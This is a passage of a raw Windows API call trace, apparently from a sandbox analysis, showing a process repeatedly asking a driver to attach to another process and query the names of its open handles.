AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0122.485] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.485] PsReleaseProcessExitSynchronization () returned 0x2 [0122.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.485] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.485] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0122.485] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.485] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.485] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.485] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.485] PsAcquireProcessExitSynchronization () returned 0x0 [0122.485] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.485] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0122.485] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.485] PsReleaseProcessExitSynchronization () returned 0x2 [0122.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.486] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.486] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0122.486] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.486] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.486] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.486] PsAcquireProcessExitSynchronization () returned 0x0 [0122.486] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.486] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0122.486] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.486] PsReleaseProcessExitSynchronization () returned 0x2 [0122.486] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.486] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.486] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0122.486] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.486] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0122.486] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.486] PsAcquireProcessExitSynchronization () returned 0x0 [0122.486] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.486] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0122.486] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.486] PsReleaseProcessExitSynchronization () returned 0x2 [0122.486] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.486] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.486] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0122.486] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.486] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.486] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0122.487] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.487] PsAcquireProcessExitSynchronization () returned 0x0 [0122.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.487] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0122.487] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.487] PsReleaseProcessExitSynchronization () returned 0x2 [0122.487] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.487] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.487] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0122.487] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.487] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0122.487] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.487] PsAcquireProcessExitSynchronization () returned 0x0 [0122.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.487] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0122.487] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.487] PsReleaseProcessExitSynchronization () returned 0x2 [0122.487] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.487] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.487] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0122.487] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.487] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.487] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0122.487] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.487] PsAcquireProcessExitSynchronization () returned 0x0 [0122.487] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.487] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0122.488] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.488] PsReleaseProcessExitSynchronization () returned 0x2 [0122.488] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.488] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.488] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0122.488] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0122.488] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.488] PsAcquireProcessExitSynchronization () returned 0x0 [0122.488] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.488] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0122.488] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.488] PsReleaseProcessExitSynchronization () returned 0x2 [0122.488] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.488] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.488] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0122.488] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.488] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.488] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.488] PsAcquireProcessExitSynchronization () returned 0x0 [0122.488] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.488] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0122.488] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.488] PsReleaseProcessExitSynchronization () returned 0x2 [0122.488] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.489] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.489] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0122.489] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.489] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.489] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0122.489] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.489] PsAcquireProcessExitSynchronization () returned 0x0 [0122.489] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.489] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0122.489] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.489] PsReleaseProcessExitSynchronization () returned 0x2 [0122.489] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.489] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.489] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0122.489] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.489] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.489] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.489] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.489] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.489] PsAcquireProcessExitSynchronization () returned 0x0 [0122.489] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.489] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0122.489] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.489] PsReleaseProcessExitSynchronization () returned 0x2 [0122.489] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.489] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.489] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0122.489] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.489] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0122.490] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.490] PsAcquireProcessExitSynchronization () returned 0x0 [0122.490] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.490] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0122.490] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.490] PsReleaseProcessExitSynchronization () returned 0x2 [0122.490] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.490] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.490] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0122.490] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.490] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0122.490] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.490] PsAcquireProcessExitSynchronization () returned 0x0 [0122.490] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.490] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0122.490] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.490] PsReleaseProcessExitSynchronization () returned 0x2 [0122.490] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.490] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.490] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0122.490] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.490] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0122.490] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.490] PsAcquireProcessExitSynchronization () returned 0x0 [0122.491] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.491] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0122.491] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.491] PsReleaseProcessExitSynchronization () returned 0x2 [0122.491] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.491] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.491] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0122.491] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.491] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0122.491] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.491] PsAcquireProcessExitSynchronization () returned 0x0 [0122.491] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.491] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0122.491] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.491] PsReleaseProcessExitSynchronization () returned 0x2 [0122.491] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.491] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.491] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0122.491] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.491] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0122.491] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.492] PsAcquireProcessExitSynchronization () returned 0x0 [0122.492] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.492] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0122.492] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.492] PsReleaseProcessExitSynchronization () returned 0x2 [0122.492] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.492] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0122.492] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0122.492] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.492] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, 